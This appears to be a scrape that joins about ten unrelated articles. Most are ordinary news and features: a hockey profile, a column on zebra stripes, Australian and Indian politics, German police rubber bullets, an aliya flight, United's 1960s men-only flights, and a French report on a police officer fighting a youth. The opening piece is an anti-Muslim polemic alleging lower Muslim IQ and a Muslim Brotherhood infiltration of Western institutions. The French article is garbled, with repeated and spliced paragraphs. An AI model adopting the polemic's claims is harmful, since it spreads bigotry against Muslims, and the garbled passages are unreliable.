Those who believe that the lower average IQ in Muslim cultures guarantees their defeat are failing to observe the current conflict closely enough. The war we are engaged in is primarily an information war, and up until now Islam has been winning it handily. Agents of the Muslim Brotherhood have easily infiltrated all the major institutions of the West and subverted them intelligently and shrewdly. They have sapped our ability to fight back against Islam, or even to recognize that Islam is at war with us. We are being defeated by an enemy we are unable to identify.
We’ve spent trillions of dollars in “the sandbox” bombing caves and killing terrorists, and in the process generating millions of Muslim refugees who migrate to the West and live there at taxpayers’ expense while they gradually construct a shariah-based legal system. In the meantime our politicians, media people, and academics fall all over themselves to proclaim Islam a wonderful, enlightened, peaceful religion, without any logic and against all the evidence.
And we’re smart and they’re stupid, right?
If we’re so smart, then how come they’re beating the snot out of us?
And not just beating us, but weaponizing our own institutions and cultural practices against us to defeat us. To achieve victory without ever mounting a horse or swinging a scimitar.
As I have said many times before, intelligence is overrated.
* * * * * * * * * * * * * * *
It’s time to move past the idea that Islam is insane, stupid, or illogical. It is none of those things.
If we want to defeat it — and remember, we are currently losing, and losing badly — we must understand it. We must learn to think like Muslims. We need to practice seeing the world as Muslims see it, using their premises and their logic and their rules.
That is only way we can ever hope to avoid being overrun by the Islamic Caliphate. |
Rubbing shoulders with hockey royalty and skating alongside today’s champions, trophy winners and team leaders at the NHL All-Star Game in Los Angeles, a thought nagged at Bo Horvat.
Do I deserve this? Do I belong here, in the same room as my dad’s heroes and today’s elite?
“Yeah, I do,” Horvat concluded. “I’ve proven myself. I’ve taken my game to another level this year.”
As he says this, close friend and leader of the next wave Connor McDavid is a shout away. Sidney Crosby holds court near by. Jonathan Toews, Patrick Kane and Duncan Keith are all in the same ballroom.
The Horvats arrived en masse and rolled deep in La La Land. Bo’s parents and grandparents, his brother and girlfriend representing for their family’s premiere etoile.
So what if they couldn’t find a Horvat sweater to buy? Bo knows he’s establishing himself, on the ice and in his mind, as a legitimate No. 1 centre. One flexing enough resilience to take a slapshot in the head and return to the game. One belonging enough to be first to embrace a rival goalie when he does the unthinkable at an all-star game.
Horvat hasn’t secured employment for next season, however, and the uncertainty of his next contract is creeping into his imagination. Negotiations have not begun and won’t, he says, until season’s end.
“I think about it,” Horvat says. “It’s definitely in the back of your mind. For me, to go play my game and not think about it right now, just go play the end of the season and not worry about it is going to help me and the team. It’s out of my hands. It’s in my agent’s hands and Jim [Benning] and that staff. My thing is, go play hockey.”
That he’s done, and on steady incline.
A 25-point rookie campaign was followed by a 40-point sophomore season, and he’s trumping that with a team-best 14 goals and 32 points. Horvat also ranks first on his club in even-strength and short-handed points and has bettered his plus/minus by 28 points since 2015-16. As a rookie, Horvat won the majority of his faceoffs, and he’s improved in the dot, too, now up to a 52.6 per cent success rate.
How’s this one? Horvat topped all Canucks with 55 points in the 2016 calendar year despite ranking seventh among forwards in even-strength time on ice.
Wonderful exhibits for Horvat’s agent, Mark Guy, to trot out this summer, one boasting another deep class of RFA centremen.
Does Horvat wait for other RFA pivots like Edmonton’s Leon Draisaitl, Minnesota’s Mikael Granlund, Nashville’s Ryan Johansen, Tampa’s Tyler Johnson, Washington’s Evgeny Kuznetsov, and Montreal’s Alex Galchenyuk to sign and set the market?
Does Vancouver prefer a short-term bridge deal, or will the Canucks try to lock up Horvat long-term before his price rises even higher?
Remember, he’s only 21.
Bo Horvat Picks Two Favourite movies:
Wedding Crashers, Dumb & Dumber
Hockey movies:
Miracle, Slap Shot
Actors to play him in a film:
Mark Wahlberg, Channing Tatum
“You look at the kid, the maturity level. What’s his approach? What are his day-to-day work habits?” Canucks president Trevor Linden said when we raised the topic in December
“Definitely, Bo is an important guy for us. We see him as a leader of this group as he continues to develop. He’s an impressive kid. You gotta make sure the internals are right before [you sign a long-term deal]. Certain guys can handle it; certain guys have trouble.”
Last summer was a monster for RFA centres. Winnipeg’s Mark Scheifele (now fifth in league scoring) looks to be handling his eight-year, $49-million home run nicely, while Calgary’s Sean Monahan (seven years, $44.6 million) and Nashville’s Filip Forsberg (six years, $36 million) stumbled out the gate under the weight of their windfalls.
Short on high-end young talent up front, the Canucks can ill afford a contract dispute here, especially considering the price they paid to land Horvat four years ago.
Linden would not tip his hand if he sees Horvat responding well to the security and life-altering payday a long-term deal can bring, but Horvat says he’s gleaning habits from the best role models a player could ask for: Daniel and Henrik Sedin.
“They’ve had the biggest impact on my career from a player standpoint,” Horvat says. “They come to work every day with a smile on their face. They do unbelievable things in the community.
“It makes you want to be like them and help out that way.”
When the twins begin their own contract years in the fall of 2017-18, they’ll be 37. The Sedins’ all-star absence underscored the Canucks’ changing of the guard, however gradual.
“They’re going in a different path. The team’s starting to get a lot younger. We’ve got a lot of rookies in the lineup this year,” Horvat says. “Younger and faster. Hank and Danny are still playing unbelievable. To have that depth in the lineup, where you have some older guys still playing well and some younger guys trying to prove themselves to get a spot, It evens our team out.”
Amazing accomplishment for an amazing player and an even better person. Congrats Hank!! #1000pts #HENR1K A photo posted by Bo Horvat (@bohorvat) on Jan 21, 2017 at 4:23pm PST
Wowed by the Sedins’ ability to win the Canucks’ fitness tests every training camp — “They’re freaks that way” — Horvat appreciates how they’ve picked him up when he’s down, like during his 27-game goal drought last season.
“Danny goes, ‘Twenty-some games without a goal in my second year.’ And Hank came up to me in Philadelphia and said, ‘Don’t worry about it. Play your game. You’re playing well. I went through it in my third year. Thirty-some games without a goal,'” Horvat recalls. “For him to calm me down like that is something I’ll never forget.”
Horvat arrived to Team Sedin under shocking and touchy circumstances, when then-GM Mike Gillis traded goaltender Cory Schneider, a fan favourite, for the ninth-overall pick of the 2013 draft.
“All those tweets about that being a bad trade is probably the worst thing [fans have said to me],” Horvat says. Now he can chuckle. “The whole Schneider ordeal has kinda passed. He’s doing great in New Jersey, and I’ve found my way in Van, so it’s blown over.”
We’re blown over how Horvat has used power skating to improve his stride, what he once called the greatest weakness in his game, to be picked by McDavid to represent the Pacific in the Fastest Skater contest.
Horvat was blown over that he got to shake hands with Wayne Gretzky, whose highlight DVDs, a gift from Dad, he watched “a million times over” as an Ontario kid travelling to tournaments.
(Fun fact: McDavid snapped this photograph.)
Hockey critics in general are blown over by the Canucks, a much-derided roster that has battled through key injuries and brutal offensive slumps to remain within one point of a playoff spot.
“People were expecting us to be one of the worst teams in the league,” Horvat says.
“To prove everybody wrong that way, to have that in the back of your mind where you want to prove people wrong, it gives you extra motivation to be better.”
Maybe the Canucks are better than you thought.
Maybe the Schneider trade was a stroke of brilliance by Gillis.
Maybe Bo Horvat is the type of guy who can not only handle all that is to come but deserves it. |
Zoologger is our weekly column highlighting extraordinary animals – and occasionally other organisms – from around the world
Species: Equus burchelli, E. grevyi, E. zebra
Habitat: Open grassland areas and woodlands
Zebras are quite the communists. They graze together, groom each other and stay in packs to protect themselves from predators. And while some herds reportedly contain harems, a recent study observed peaceful and equal interactions amongst the sexes.
But it’s not their egalitarian habits that define them, it’s their distinctive black and white stripes, which for centuries have puzzled biologists. Now Adam Egri at Eötvös University in Budapest, Hungary, and colleagues have an answer: they believe zebras evolved stripes to protect themselves from blood-sucking insects.
Advertisement
The zebra is completely black as an early embryo, and white stripes only appear in a later embryonic stage, when the production of dark pigmentation is blocked. Each zebra has subtly different stripes, acting like nature’s own barcode.
Charles Darwin wondered what purpose they served. A popular theory, both in the 19th century and today, is that zebras evolved striped coats as camouflage in tall grass. But, as Darwin noted, the “stripes cannot afford any protection in the open plains of South Africa”.
Social stripes
More recently, biologists have observed that zebras don’t attempt to conceal themselves by freezing in response to predators. Zoologist Desmond Morris wrote in his Animal watching: A field guide to animal behaviour that “compared to many hoofed animals on the plains of Africa, they are remarkably mobile and noisy and never attempt to hide in cover”.
Darwin suggested that zebras developed their unique stripes to recognise each other, which could be particularly important for male and female courtship. “A female zebra would not admit the addresses of a male ass until he was painted so as to resemble a zebra,” Darwin wrote.
Martin How at the University of Queensland, Australia, agrees that the stripes have an obvious social function. “But it’s possible they appeared for another reason and the social benefits came later.”
How says he has unpublished evidence suggesting that the stripes evolved to confuse predators, giving zebras crucial time to escape. He analysed videos of zebras with a motion detection program that mimics how movement is encoded in the animal brain. Their stripe pattern generated a range of optical illusions which would baffle a predator, he says. This effect was particularly strong when the animals moved together as a herd.
Dark horse
Another suggestion is that the stripes create a visual illusion, which makes the zebra look bigger that it is. Or perhaps the stripes assist with thermoregulation. But there is little evidence to support these claims, so the evolutionary explanation for the zebras’ stripes has remained murky.
Egri’s team picked up on a theory first proposed in 1930 and backed up in 1981, when it was demonstrated that biting tsetse flies were least attracted to striped animal models, when compared to black or white models.
Now Egri has taken the research one step further, by showing that horseflies (tabanids) also avoid the stripes. Biting insects transmit several equine diseases, such as equine infectious anaemia, as well as leaving painful bites.
Heading to a fly-infested farm in Budapest the team painted trays with different black and white patterns, and filled them with salad oil to trap the horseflies. Trays coated with thick horizontal stripes attracted less flies than diagonal lines, or criss-crosses. Thin black stripes mimicking those of the zebra attracted fewer flies than thick lines.
Insect defence
“The stripes are messing with their heads,” says Justin Marshall, a sensory neurobiologist, also at the University of Queensland. “It confuses them and provides an unattractive surface to land on.”
According to experiments carried out by Egri’s team, the stripes could also disrupt polarised light, making zebras less appealing to the pests. Horseflies are attracted to horizontally polarised light because they detect water through horizontal polarisation. At the watering hole, flies drink, mate and lay eggs.
Mike Archer, an evolutionary biologist at the University of New South Wales, Australia, calls this “a delightfully innovative explanation for something that’s long puzzled mammalogists.”
“Having been bitten myself many times by tabanids, which really hurt, this new explanation makes a great deal of sense to me,” he says.
Journal Reference: The Journal of Experimental Biology, DOI: 10.1242/jeb.065540
Read previous Zoologger columns: The only males with more brain than females , How a blurry-eyed spider pounces on target, Gecko’s amputated tail has life of its own, Unique life form is half plant, half animal, Transgender fish perform reverse sex flip, My brain’s so big it spills into my legs, Dozy hamsters reverse the ageing process, To kill a mockingbird? No, parasitise it, Chill out with the world’s coldest insect, ‘Werewolf birds’ hook up by the full moon, Cannibal shrimp shows its romantic side, The only cross-dressing bird of prey, The biggest spider web in the world. |
Election 2016: Independent MP Cathy McGowan rejects Speaker speculation, possible party deals
Updated
Victorian independent MP Cathy McGowan has refused to say who she would support in the event of a hung parliament.
Ms McGowan retained the seat of Indi in north-east Victoria with a swing of 4.5 per cent, seeing off a challenge from former Liberal frontbencher Sophie Mirabella.
With the possibility of a hung parliament looking increasingly likely, support from crossbench MPs will be crucial to whoever wins government.
Speaking in Wangaratta, Ms McGowan did not say who she would support.
"This morning I did have a phone call from the Prime Minister [Malcolm Turnbull], who did congratulate me on the win, which was lovely to receive. I also congratulated him on winning his seat," she said.
"He's very confident he can form a majority government, and we've agreed to stay in contact for the next couple of days as the national situation settles down.
"It's clearly very fluid at the moment."
When asked about her position if there was no clear majority in the Lower House, she said: "We'll cross that bridge when we get there."
Victory sends a message to Canberra: McGowan
Ms McGowan said she had a "good working relationship" with Mr Turnbull, but her success was proof people were tired of the way campaigns and governments were run by the major parties.
"I think the Prime Minister's very confident that he can get the numbers and I wish him luck as he goes around doing that," she said.
"Clearly I've got a lot to contribute to working with the government. There's a huge message out of north-east Victoria about how people want to do politics."
She also moved quickly to dismiss rumours she could become Speaker, saying she had no interest in the role.
"I'm very happy being the Member for Indi, that's 100 per cent of my focus and I'll really look forward to taking our agenda on those national issues that we need, but also local issued around renewable energy, jobs, arts and public transport," she said.
Topics: federal-election, federal-elections, states-and-territories, wangaratta-3677, vic
First posted |
Leipzig
Beamte der Sächsischen Polizei haben bei den G20-Protesten in Hamburg Anfang Juli Gummigeschosse eingesetzt. Das ergab eine kleine Anfrage des Grünen Landtagsabgeordneten Valentin Lippmann. Bislang war lediglich klar, dass in Hamburg mit den umstrittenen Projektilen geschossen wurde. Unklar war bislang, welche Kräfte mit den Wuchtgeschossen gegen Protestierer vorgingen – es waren Polizeibehörden mehrerer Bundesländer und Staaten im Einsatz.
Wie Valentin Lippmann mitteilte, habe das sächsische Innenministerium unter Markus Ulbig ( CDU) bislang jede Auskunft verweigert, ob die Gummigeschosse von sächsischen Beamten abgefeuert wurden. Erst eine Nachfrage nach den Lagerbeständen an Gummi- und Plastikgeschossen brachte nun Klarheit. Im Juni listet das Innenministerium noch einen Bestand von 98 Geschossen auf. Für den Juli, den Monat, in dem sächsische Beamte in Hamburg im Einsatz waren, finden sich nur noch 83 Projektile im Bestand. Im August waren es nur noch 74.
Das Innenministerium räumte weiter ein, dass die Gummigeschosse ausschließlich beim G20-Gipfel in Hamburg abgefeuert wurden. Zu den rechtlichen Hintergründen äußert sich Ulbig nicht. Der Einsatz sei durch die Hamburger Polizei geleitet worden, der Minister aus Sachsen daher nicht zur Auskunft verpflichtet. Auf wen oder was sächsische Polizisten schossen, diese Frage beantwortete Innenminister Ulbig ebenfalls nicht. Der Vorsitzende der Hamburger Gewerkschaft der Polizei (GdP), Gerhard Kirsch, erklärte im August gegenüber dem Fernsehsender N-TV, die Geschosse seien nur auf eine Dachkante eines Gebäudes am Hamburger Schulterblatt abgefeuert worden, um Menschen auf dem Dach zurückzudrängen.
Hoch umstritten: Gummigeschosse können tödlich sein
Gummigeschosse sind umstritten. So lehnt unter anderem die Gewerkschaft der Polizei (GdP) ihren Einsatz ab. In einer Stellungnahme des Landesverbands Nordrhein-Westfalen wird darauf verwiesen, dass allein im Zuge des Nordirlandkonflikts 17 Menschen durch Gummigeschosse getötet wurden. Jeder zweite Getroffene, werde durch die Projektile so schwer verletzt, dass er im Krankenhaus behandelt werden müsse. Die GdP spricht sich in einer Stellungnahme aus dem Jahr 2012 stattdessen für den Einsatz von Wasserwerfern aus. Der Bundesvorsitzende der Deutschen Polizeigewerkschaft, Rainer Wendt, sprach sich dagegen wiederholt für den Einsatz von Gummigeschossen aus. |
ON THE FLIGHT FROM JFK TO ISRAEL – Back in 2010, when Ari and Ilana Erdfarb from Bergenfield, New Jersey, received a phone call from a Jewish organization they had been donating to informing them that they won two plane tickets to Israel, they decided to bring their five children along in order to “pass on to them the love of Israel” and spend Hanukka there.
Little did they know that three years later, they would be flying to Israel with their kids once again, this time on a chartered Nefesh B’Nefesh aliya flight along with 231 other excited olim, and landing at Ben-Gurion Airport to the sound of thunderous applause of hundreds of strangers waving Israeli flags, singing in Hebrew and holding up home-made glittery “Welcome Home” signs.
The Jerusalem Post
Post
Post
“During that Hanukka trip we looked at each other and realized this is really the place that we should be,” Ilana toldjust a week before the flight, which took off from JFK airport in New York on Monday.“It wasn’t even on our radar at that point but being there for the holiday was very special,” Ari continued. “There, your holidays are the state holidays, you walk around in Jerusalem and on the telephone pole there is a hanukkia instead of a Christmas tree. It’s a very different thing to experience it.”It is this feeling of “the whole country doing what you are doing,” as Ilana described it, which pushed the Erdfarbs to start the aliya process last year.“We thought: ‘we could do this’,” explained Ari, who works as an attorney and will be able to keep his job and work remotely from Israel.“Our kids are just so unbelievably happy here, running around, feeling at home.”Ilana was born and raised in Bergenfield and married Ari after they met at a summer camp where she was a counselor and he was a lifeguard.“It’s important to say that we love it in Bergenfield, and if Bergenfield was in Israel we would want to stay there forever,” she stressed.“Until we decided that it was the right thing for our family to make aliya, we really did believe that we would be in Bergenfield forever. We are very comfortable here, we are very involved in the school and the shul and we love it, but we believe Hashem gave us a gift.”Monday saw Nefesh B’Nefesh’s first charter aliya flight this summer and the 49th since the organization was founded in 2002. Aboard were some 41 families, 54 singles, and a record number of 106 children, including two sets of twins aged seven and nine. The youngest passenger on the plane was only two months old, and the oldest, 78 years of age.Thirteen future IDF soldiers were also among the passengers.Moving to the country’s periphery are 41 of the immigrants, a large number of which will be absorbed into Negev and Galilee communities with the help of Keren Kayemeth LeIsrael-Jewish National Fund.Before taking off, passengers attended a departure ceremony at JFK airport which took place in the presence of representatives of JNF-US, the Jewish Agency, El Al, Keren Kayemeth LeIsrael, and Nefesh B’Nefesh, as well as Gil Lainer, consul for public affairs at the Consulate-General of Israel, and the guest of honor, former IDF captive Gilad Schalit, who flew to Israel aboard the flight.“The fact that thousands of people chose to leave their home and start a new life in Israel is not something I take for granted,” said Schalit, shaking many hands and posing for pictures with enthusiastic passengers minutes before the flight departed from New York.“I wish them success in their integration and this new beginning,” he added.Greeting the new immigrants, co-founder of Nefesh B’Nefesh Rabbi Yehoshua Fass said: “I look at this crowd and I see families who started their application process in 2007, 2008 and finally this day is here for you.“The excitement and nerves are palpable and you see the diversity of all the olim, people of every stripe every color, every location, unified with a similar dream to build a future in Israel,” he said. “It’s a miracle, I can’t imagine our grandparents seeing this sight.”Although the Erdfarbs told thethey are confident that making aliyah is the “right thing for [their] family”, some concerns remain, especially regarding the integration of their children in the country.“Of course we are worried about our children because that’s the nature of parents,” Ilana told the. “Our youngest kids are young so they will adapt easily, it’s our oldest kids that we’re a bit nervous about.”Ilana explained that she and Ari speak with their children about the move and the upcoming challenges very often in the hope that it will help them adjust to the changes a little more smoothly.“There will definitely be tricky transitions,” Ilana said.“My daughter who’s starting the 4th grade does very well academically, so the last time that she came home and had gotten a 100 on a test, I saved it and I’m planning on hanging it in her room so that she remembers that she is able to thrive academically.”The Erdfarbs’ explained that their eldest daughter, who is nine years old and has been expressing concerns about leaving her home in New Jersey, is “a bit nervous socially, about making friends.”“If you ask her how she feels about it she’ll tell you she doesn’t know,” Ari pointed out.“But in her heart she knows it will be amazing, although challenging, and we are there to push her through it. We know in our heart of hearts this is what’s best for them,” he added.This summer, a total of 2,500 olim like the Erdfarbs will be departing for Israel on Nefesh B’Nefesh Aliyah flights, in full cooperation with the Jewish Agency, the Ministry of Immigrant Absorption and Keren Kayemeth LeIsrael.The second flight is scheduled for August 12. Since its beginnings, Nefesh B’Nefesh has brought some 35,000 immigrants to Israel, whose financial contribution to Israel exceeds $420 million over the past decade.
Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>> |
Over 600 professors from universities across Delhi Friday wrote to Union Human Resource Development Minister Smriti Irani, expressing their “concern” over the February 9 event at the Jawaharlal Nehru University (JNU) and terming it an “unpardonable anti-national” act.
Advertising
The letter, written by UGC member Inder Mohan Kapahy among others, has been sent by BJP-backed National Democratic Teachers Front (NDTF).
“We write to express our concern at the diabolically planned attempt by politically motivated groups to foment trouble and turmoil amongst students of various universities to destabilise the existing structures of governance.
“The Indian Constitution guarantees freedom of speech, dissent and presenting alternative paradigms but it is equally true that what happened on 9th February 2016 at JNU does not fall within the aforementioned parameters,” the letter stated.
[related-post]
“There may be an argument on strict legalistic terms as to what constitutes sedition, but it is crystal clear that what happened in JNU was an unpardonable, anti-national act which has to be both condemned and curbed,” said the NDTF.
“A dominant majority of students and teachers is totally opposed to the anti-national and unpatriotic activities of such groups who are hell-bent on causing avoidable tensions and turmoils in the social fabric of India,” the organisation said.
In an apparent reference to JNU Students’ Union president Kanhaiya Kumar, who was arrested on charges of sedition over the event, the teachers said, “Those who raise such slogans and those who protect them with convoluted arguments, swear by the right of freedom and dissent provided by the same Indian Constitution.”
Kher says JNU refused to screen his film, varsity denies charge
Actor Anupam Kher Friday alleged that the Jawaharlal Nehru University (JNU) has refused to screen his film Buddha in a traffic. Accusing the university of “stifling freedom of speech and expression”, Kher said that he was told that the university cannot allow the film to be screened owing to the present atmosphere at the campus.
Advertising
The university said no request from Kher has been received by them for the screening of any film. PTI |
Syria War - Al-Nusra Front Insane Heavy Intense Urban Firefight Combat Action In Deir ez-Zor. Members of the Al-Nusra Front in heavy urban combat against government forces. There is no exact information about the background of the assault available but it had to be an planned, large scale attack on government held positions and regime owned houses in the streets of Deir ez-Zor. The buldings where under constant heavy fire with rockets, heavy machine guns and grenades fired from armored pick up trucks, bmps and fixed positions in surrounding houses. The Al-Nusra Front or Jabhat al-Nusra is a branch of Al Qaeda operating in Syria. The group announced its creation on 23 January 2012 during the Syrian civil war. It is described as "the most aggressive and successful arm of the rebel force. The group was designated by the United Nations, the United States in December 2012,Australia in June 2013 and the United Kingdom in July 2013 as a terrorist organisation. The Al-Nusra Front has a strenght of about 7,000-15,000 fighters with mostly foregin background from other countries of the Middle East, North Africa Europe, Chechnya and America. Radcial groups like the Al-Nusra front or the Islamic State of Iraq and Levant are the main cause for the bad public opinion on the Free Syrian Army and the syrian opposition in general.Map of Location: bit.ly/IcWZaP |
In the hip late 1950s and 1960s and dawn of the Kennedy era in the U. S., what better way to show the world what America was all about than having airline service for men only!
It started with United’s DC-6Bs and the flights would depart New York and Chicago at 5pm every week day and took 3 hours 15 minutes.
It was so popular it was extended to mornings at 9am.
Then United swapped the DC-6s for the French Sud-Est SE. 210 Caravelle and it was almost amusing to seen the conga line of nattily dressed businessmen carrying leather briefcases and wearing grey flannel suits with white button-down shirts and skinny black ties walking out to the rear stairs of the Caravelle.
Yes, as politically incorrect as that may seem today, United’s famous “Men Only” executive service was perceived as a special perk for successful businessmen heading off to, or returning home from important business meetings in a day-and-age well before women airline captains, astronauts, and fighter pilots, not to mention video conferencing.
In another seemingly astonishing move, cigars were not only permitted on these flights, but were eagerly provided to passengers by the stewardesses themselves – the only two women on the aircraft. With its four-abreast seating and large triangular windows, the sleek 64-seat jetliner was an instant hit with passengers and United’s “New York Executive” and “Chicago Executive” men-only flights became an undeniable success with business travelers.
These flights continued until January 1970 when the progressive “women’s liberation” movement suddenly became a force to be reckoned with. The newly formed National Organization for Women took legal action against United, filing a highly publicized lawsuit which officially brought the famed service to an end.
Effectively filling the void in aircraft size at the beginning of the commercial jet age, the Caravelle offered short to medium-range service on routes more suited to aging propliners remaining in operation while larger four-engine jets began to command trunk lines and turboprops reigned supreme at medium-size airports.
United’s Caravelles beat the competition on short and medium-range routes until the Boeing 727 and Douglas DC-9 appeared in the mid-1960s, but the airline’s “pure-jet” Caravelles were a familiar sight in the skies over the eastern United States. In tribute to their homeland these elegant-looking aircraft were named for famous cities in France. |
Amal Bentounsi, porte-parole de l’Observatoire, a fondé le collectif "Urgence notre police assassine "après
Samy* n’est pas non plus surpris par ce qu’il a vu. "Le policier reste un humain avec ses faiblesses et son orgueil. Faire le coq dans la basse-cour, surtout devant ses collègues, ce n’est pas nouveau. Les histoires de ce genre, on en connait tous". Pour lui, un face-à-face est généralement fait à la demande du jeune "en réaction à certains abus de policiers, pour régler ça d’homme à homme. Mais il est rare qu’un policier accepte". Selon le jeune homme, ceux qui sont le plus susceptible d'accepter sont des agents de terrain qui connaissent les codes de la rue, comme ceux de la brigade anticriminalité (BAC).
Mathieu, policier enquêteur au service judiciaire d’un commissariat d’une ville du 93, le confirme. "Je suis surpris que ce soit 'un bleu'. En général, ce sont plutôt des agents de terrain chevronnés qui acceptent, comme la BAC, BST ou GSP. Les équipes se connaissent, ne changent pas, il y a une cohésion et, surtout, ce sont des équipes de nuit, donc moins de témoins potentiels". La vidéo de la scène, qui semble avoir été filmée par un ami de Dybala, a été récupérée par Samy* qui l'a transmise à l’ Observatoire national des violences policières . Sur la page de l'organisation, elle a été visionnée 60.000 fois, avant d'être relayée sur une autre page répertoriant des videos de combats de rue où elle a fait 745.000 vues.Amal Bentounsi, porte-parole de l’Observatoire, a fondé le collectif "Urgence notre police assassine "après la mort de son frère tué d’une balle dans le dos par un policier . Elle explique que "cette vidéo a fait surgir plusieurs témoignages qui laissent entendre qu'il ne s'agit pas d'une pratique isolée". Elle n’a toutefois connaissance d’aucune procédure judiciaire pour des motifs similaires à ce jour. Dybala reconnait que c’est une première pour lui, mais pas dans le quartier. "Je connais au moins trois personnes de ma génération à Marx Dormoy qui ont déjà fait un face-à-face avec un policier."Samy* n’est pas non plus surpris par ce qu’il a vu. "Le policier reste un humain avec ses faiblesses et son orgueil. Faire le coq dans la basse-cour, surtout devant ses collègues, ce n’est pas nouveau. Les histoires de ce genre, on en connait tous". Pour lui, un face-à-face est généralement fait à la demande du jeune "en réaction à certains abus de policiers, pour régler ça d’homme à homme. Mais il est rare qu’un policier accepte". Selon le jeune homme, ceux qui sont le plus susceptible d'accepter sont des agents de terrain qui connaissent les codes de la rue, comme ceux de la brigade anticriminalité (BAC).Mathieu, policier enquêteur au service judiciaire d’un commissariat d’une ville du 93, le confirme. "Je suis surpris que ce soit 'un bleu'. En général, ce sont plutôt des agents de terrain chevronnés qui acceptent, comme la BAC, BST ou GSP. Les équipes se connaissent, ne changent pas, il y a une cohésion et, surtout, ce sont des équipes de nuit, donc moins de témoins potentiels".
"La police n’attire pas que des personnes bien intentionnées. Certains rejoignent le corps par défaut ou par goût de la bagarre. Avec l’arme et l’uniforme, ils se sentent tout-puissants et couverts par la justice. Ça se ressent au contrôle et ça peut créer un sentiment d’injustice. Pour la personne lésée, faire sortir le policier de son uniforme pour en découdre d’homme à homme semble être une solution. Même dans les murs du commissariat, ça peut arriver dans une moindre mesure." "On n’est pas sur un ring "
Quentin Gourdin, porte-parole de l’association de policiers RAID Aventure, se dit interloqué par la vidéo. "C’est une pratique d’un autre âge. En quinze ans de carrière dans les quartiers difficiles d’Île-de-France, dont je suis issu, je n’ai jamais rien vu de tel. C’est un manque de probité et un non-respect de la déontologie".
Il est fréquent que la police soit confrontée à des situations difficiles où des personnes veulent obtenir un tête-à-tête. Axel Ronde, secrétaire général du syndicat CGT-Police Île-de-France, le reconnait. "Mais ça reste des paroles, c’est bien la première fois que je le vois se concrétiser. On n’est pas sur un ring. Que des agents tombent aussi bas ça doit nous interpeller sur le manque de formation et d’encadrement de nos forces dans les secteurs les plus difficiles". Pour lui, la seule explication possible est que les deux protagonistes se connaissaient et avaient un différend. Ce que nie Dybala.
De son côté, la préfecture de Police de Paris a fait remonter l’information mais n’a pas encore donné sa version des faits, n’ayant eu connaissance de la vidéo qu’après notre sollicitation. Le parquet de paris a annoncé l'ouverture d'une enquête préliminaire. L'Inspection générale de la Police nationale (IGPN) a été chargée d'identifier l'agent apparaissant dans la vidéo. Pour l'heure, aucune plainte n'a été déposée suite à l'altercation.
Aux yeux de la justice, le jeune homme et le policier, même s'il est avéré qu'ils étaient consentants, restent responsables pénalement de leurs actes. Ces violences constituent un délit qui peut être puni par une peine d’emprisonnement allant jusqu'à trois ans et 45 000 euros d’amende. Le policier risque par ailleurs des sanctions administratives, comme les autres agents de la patrouille, pour qui ces sanctions "peuvent aller jusqu’à la révocation ", précise Axel Ronde, notamment pour n’être pas intervenus et pour non-dénonciation d’un délit.
Pour Quentin Gourdin, ces duels de rue n’apportent rien aux deux partis. "À part créer des scènes de violence et faire le buzz, ça ne fait pas avancer les choses". Il encourage néanmoins à ce qu’il y ait des rencontres entre policiers et habitants de quartier dans un contexte positif. "Une confrontation sportive hors service, cela peut aider à dissiper les tensions et renouer le dialogue entre la police et les habitants, comme ce que nous faisons depuis plus de cinq ans avec Issu d’un quartier dit sensible, il n’est pas étonné par la vidéo. "Bien sûr qu’il arrive que certains collègues acceptent un tête-à-tête. Parfois, certains nous poussent à bout mais il faut garder son sang-froid". Pour lui, il ne s’agit pas de manque d’expérience ou de bizutage, car les jeunes recrues ont tout à perdre."La police n’attire pas que des personnes bien intentionnées. Certains rejoignent le corps par défaut ou par goût de la bagarre. Avec l’arme et l’uniforme, ils se sentent tout-puissants et couverts par la justice. Ça se ressent au contrôle et ça peut créer un sentiment d’injustice. Pour la personne lésée, faire sortir le policier de son uniforme pour en découdre d’homme à homme semble être une solution. Même dans les murs du commissariat, ça peut arriver dans une moindre mesure." "On n’est pas sur un ring "Quentin Gourdin, porte-parole de l’association de policiers RAID Aventure, se dit interloqué par la vidéo. "C’est une pratique d’un autre âge. En quinze ans de carrière dans les quartiers difficiles d’Île-de-France, dont je suis issu, je n’ai jamais rien vu de tel. C’est un manque de probité et un non-respect de la déontologie".Il est fréquent que la police soit confrontée à des situations difficiles où des personnes veulent obtenir un tête-à-tête. Axel Ronde, secrétaire général du syndicat CGT-Police Île-de-France, le reconnait. "Mais ça reste des paroles, c’est bien la première fois que je le vois se concrétiser. On n’est pas sur un ring. Que des agents tombent aussi bas ça doit nous interpeller sur le manque de formation et d’encadrement de nos forces dans les secteurs les plus difficiles". Pour lui, la seule explication possible est que les deux protagonistes se connaissaient et avaient un différend. Ce que nie Dybala.De son côté, la préfecture de Police de Paris a fait remonter l’information mais n’a pas encore donné sa version des faits, n’ayant eu connaissance de la vidéo qu’après notre sollicitation. Le parquet de paris a annoncé l'ouverture d'une enquête préliminaire. L'Inspection générale de la Police nationale (IGPN) a été chargée d'identifier l'agent apparaissant dans la vidéo. Pour l'heure, aucune plainte n'a été déposée suite à l'altercation.Aux yeux de la justice, le jeune homme et le policier, même s'il est avéré qu'ils étaient consentants, restent responsables pénalement de leurs actes. Ces violences constituent un délit qui peut être puni par une peine d’emprisonnement allant jusqu'à trois ans et 45 000 euros d’amende. Le policier risque par ailleurs des sanctions administratives, comme les autres agents de la patrouille, pour qui ces sanctions "peuvent aller jusqu’à la révocation ", précise Axel Ronde, notamment pour n’être pas intervenus et pour non-dénonciation d’un délit.Pour Quentin Gourdin, ces duels de rue n’apportent rien aux deux partis. "À part créer des scènes de violence et faire le buzz, ça ne fait pas avancer les choses". Il encourage néanmoins à ce qu’il y ait des rencontres entre policiers et habitants de quartier dans un contexte positif. "Une confrontation sportive hors service, cela peut aider à dissiper les tensions et renouer le dialogue entre la police et les habitants, comme ce que nous faisons depuis plus de cinq ans avec les évènements Prox Aventure ".
